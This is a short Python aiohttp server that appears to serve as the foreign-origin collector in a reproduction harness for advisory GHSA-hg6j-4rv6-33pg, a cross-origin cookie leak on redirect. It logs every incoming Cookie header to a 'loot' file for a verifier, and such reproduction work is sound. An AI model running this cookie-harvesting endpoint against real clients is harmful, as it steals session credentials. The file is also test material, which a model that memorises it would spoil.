#!/usr/bin/env python3
"""
Collector / foreign origin (origin B) for GHSA-hg6j-4rv6-33pg.

This is the cross-origin redirect TARGET. The victim's per-request cookie is
NOT scoped to this origin and must never reach it. On a vulnerable aiohttp it
does. This server records every inbound Cookie header to a file the verifier
reads through a privileged channel.

The verifier compares the recorded Cookie header against the on-boot
ground-truth secret read from the victim's protected store.
"""
import os
from aiohttp import web

LOOT_PATH = os.environ["LOOT_PATH"]


async def collect_handler(request: web.Request) -> web.Response:
    cookie_header = request.headers.get("Cookie", "")
    # Append a record of the inbound Cookie header for this cross-origin hit.
    with open(LOOT_PATH, "a") as f:
        f.write(cookie_header + "\n")
    return web.Response(text="collected")


async def health(request: web.Request) -> web.Response:
    return web.Response(text="ok")


def main() -> None:
    # Start each boot with an empty loot file so stale records never confuse
    # the verifier.
    os.makedirs(os.path.dirname(LOOT_PATH), exist_ok=True)
    open(LOOT_PATH, "w").close()
    app = web.Application()
    app.router.add_get("/collect", collect_handler)
    app.router.add_get("/health", health)
    web.run_app(app, host="0.0.0.0", port=80)


if __name__ == "__main__":
    main()
